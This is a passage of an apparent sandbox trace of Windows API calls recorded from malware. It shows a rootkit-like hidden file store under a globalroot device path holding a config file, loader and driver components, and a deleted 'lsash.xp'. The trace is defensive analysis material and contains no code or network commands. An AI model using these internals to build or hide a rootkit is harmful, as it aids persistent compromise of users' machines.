(Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.383] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.383] KeEnterCriticalRegion () [0129.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.383] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be2000 [0129.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.383] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.383] IdePortDispatch () returned 0x103 [0129.383] KeWaitForMutexObject () returned 0x0 [0129.383] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.383] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.383] IdePortDispatch () returned 0x103 [0129.383] KeWaitForMutexObject () returned 0x0 [0129.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.383] KeLeaveCriticalRegion () [0129.383] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.384] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.384] KeEnterCriticalRegion () [0129.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.384] KeLeaveCriticalRegion () [0129.384] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.384] KeEnterCriticalRegion () [0129.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.384] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.384] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.384] KeLeaveCriticalRegion () [0129.384] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.384] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.384] KeEnterCriticalRegion () [0129.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.384] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.384] KeLeaveCriticalRegion () [0129.384] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.384] ReleaseMutex (hMutex=0xf0) returned 1 [0129.384] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.384] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.384] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.384] KeEnterCriticalRegion () [0129.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.385] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.385] IdePortDispatch () returned 0x103 [0129.385] KeWaitForMutexObject () returned 0x0 [0129.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.385] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.385] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.385] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.385] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.385] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04d10 [0129.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.385] KeLeaveCriticalRegion () [0129.385] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.385] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.385] KeEnterCriticalRegion () [0129.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.385] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.385] KeLeaveCriticalRegion () [0129.385] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.385] KeEnterCriticalRegion () [0129.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.385] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.385] IdePortDispatch () returned 0x103 [0129.385] KeWaitForMutexObject () returned 0x0 [0129.386] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.386] KeLeaveCriticalRegion () [0129.386] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.386] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.386] KeEnterCriticalRegion () [0129.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.386] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be3000 [0129.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.386] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.386] IdePortDispatch () returned 0x103 [0129.386] KeWaitForMutexObject () returned 0x0 [0129.386] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.386] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.386] IdePortDispatch () returned 0x103 [0129.386] KeWaitForMutexObject () returned 0x0 [0129.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.387] KeLeaveCriticalRegion () [0129.387] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.387] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.387] KeEnterCriticalRegion () [0129.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.387] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.387] KeLeaveCriticalRegion () [0129.387] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.387] KeEnterCriticalRegion () [0129.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.387] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.387] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.387] KeLeaveCriticalRegion () [0129.387] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.387] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.387] KeEnterCriticalRegion () [0129.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.387] ExFreePoolWithTag (P=0xfffffa8003c04d10, Tag=0x0) [0129.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.387] KeLeaveCriticalRegion () [0129.387] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.388] ReleaseMutex (hMutex=0xf0) returned 1 [0129.388] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.388] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.388] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.388] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.388] KeEnterCriticalRegion () [0129.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.388] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.388] IdePortDispatch () returned 0x103 [0129.388] KeWaitForMutexObject () returned 0x0 [0129.388] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.388] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.388] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.388] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.388] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.388] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.388] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.388] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.388] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.388] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.388] KeLeaveCriticalRegion () [0129.388] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.388] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.389] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.389] KeEnterCriticalRegion () [0129.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.389] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.389] IdePortDispatch () returned 0x103 [0129.389] KeWaitForMutexObject () returned 0x0 [0129.389] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.389] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.389] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.389] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.389] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.389] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.389] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.389] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.389] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.389] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.389] KeLeaveCriticalRegion () [0129.389] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.389] ReleaseMutex (hMutex=0x100) returned 1 [0129.389] Sleep (dwMilliseconds=0x2bf20) [0129.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70534570, dwHighDateTime=0x1d24fa4)) [0129.396] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.396] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.396] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.396] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.396] KeEnterCriticalRegion () [0129.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.396] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.396] IdePortDispatch () returned 0x103 [0129.397] KeWaitForMutexObject () returned 0x0 [0129.397] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.397] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.397] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.397] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.397] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.397] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04d10 [0129.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.397] KeLeaveCriticalRegion () [0129.397] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.397] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.397] KeEnterCriticalRegion () [0129.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.397] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.397] KeLeaveCriticalRegion () [0129.397] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.397] KeEnterCriticalRegion () [0129.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.397] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.397] IdePortDispatch () returned 0x103 [0129.397] KeWaitForMutexObject () returned 0x0 [0129.397] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.398] KeLeaveCriticalRegion () [0129.398] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.398] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.398] KeEnterCriticalRegion () [0129.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.398] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be6000 [0129.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.398] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.398] IdePortDispatch () returned 0x103 [0129.398] KeWaitForMutexObject () returned 0x0 [0129.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.398] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.398] IdePortDispatch () returned 0x103 [0129.398] KeWaitForMutexObject () returned 0x0 [0129.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.398] KeLeaveCriticalRegion () [0129.398] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.399] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.399] KeEnterCriticalRegion () [0129.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.399] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.399] KeLeaveCriticalRegion () [0129.399] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.399] KeEnterCriticalRegion () [0129.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.399] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.399] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.399] KeLeaveCriticalRegion () [0129.399] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.399] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.399] KeEnterCriticalRegion () [0129.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.399] ExFreePoolWithTag (P=0xfffffa8003c04d10, Tag=0x0) [0129.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.399] KeLeaveCriticalRegion () [0129.399] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.399] ReleaseMutex (hMutex=0xf0) returned 1 [0129.399] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.399] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.400] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.400] KeEnterCriticalRegion () [0129.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.400] IoAllocateMdl (in: 